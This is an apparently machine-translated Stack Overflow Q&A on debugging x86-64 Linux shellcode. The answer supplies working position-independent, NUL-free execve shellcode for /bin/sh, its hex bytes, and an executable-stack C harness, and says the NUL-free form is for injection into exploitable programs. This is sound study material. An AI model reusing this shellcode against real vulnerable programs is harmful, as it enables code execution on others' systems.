assembly - Shellcode:非法指令

Question

我是 shellcode 开发的新手，我不明白为什么生成的 shellcode 不能按预期工作。
汇编代码:
基于 an answer我之前的问题。

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59,            %rax    /* call execve system call */
        leaq    cmd(%rip),      %rdi    /* save command to rdi */
        leaq    argv(%rip),     %rsi    /* save args to rsi */
        movq    $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

C 测试代码:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

输出:

Illegal instruction

详情: Kali Linux GNU/Linux i386 x86_64

Answer 1

您的代码的问题在于您生成的 shell 字符串不包含任何数据。并且数据包含绝对指针，因此与位置无关，因此如果您确实将其移动到 .text 将不起作用并包括它。一旦在另一个程序中运行，就像您在 C 代码中所做的那样，该程序将尝试查找不存在的数据，这些数据位于不适用于您在其中运行的可利用程序的固定内存位置。
我认为您可能还有另一个问题导致非法指令。你没有展示你是如何构建你的 C 程序的，但我想知道它是否是 32 位的，而你的 shellcode 是 64 位的。我开始认为您的 C 程序可能已编译为 32 位程序，而非法指令可能是因为您无法在 32 位程序中可靠地运行 64 位代码(shell 代码)。例如， SYSCALL 指令是非 AMD CPU 上 32 位程序中的无效操作码。在没有关于如何编译/组装/链接 shell 代码和 C 程序的更多细节的情况下，这只是一个猜测。

您必须生成位置无关代码 (PIC)，以便它一旦加载到堆栈上就可以在任何地方运行。您的数据必须放置在带有代码的段内。代码还必须避免生成 NUL 字符 (0x00)，因为如果将字符串作为用户输入提供给实际的可利用程序，则会过早终止字符串。
可用于此类目的的代码版本可能如下所示:
shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

您可以使用以下命令生成 C 样式字符串:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

hexdump上面的命令将输出:

\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05

你会注意到没有 \x00与您的代码不同的字符。您可以直接在 C 程序中使用此字符串，例如:
漏洞利用.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

这必须编译并与可执行堆栈链接:

gcc -zexecstack exploit.c -o exploit

strace ./exploit将生成 EXECVE 系统调用类似于:

execve("/bin/sh", ["/bin/sh", "-c", "ls"], NULL) = 0

备注 :我会亲自在堆栈上以编程方式构建字符串，类似于另一个 Stackoverflow answer 中的代码我写。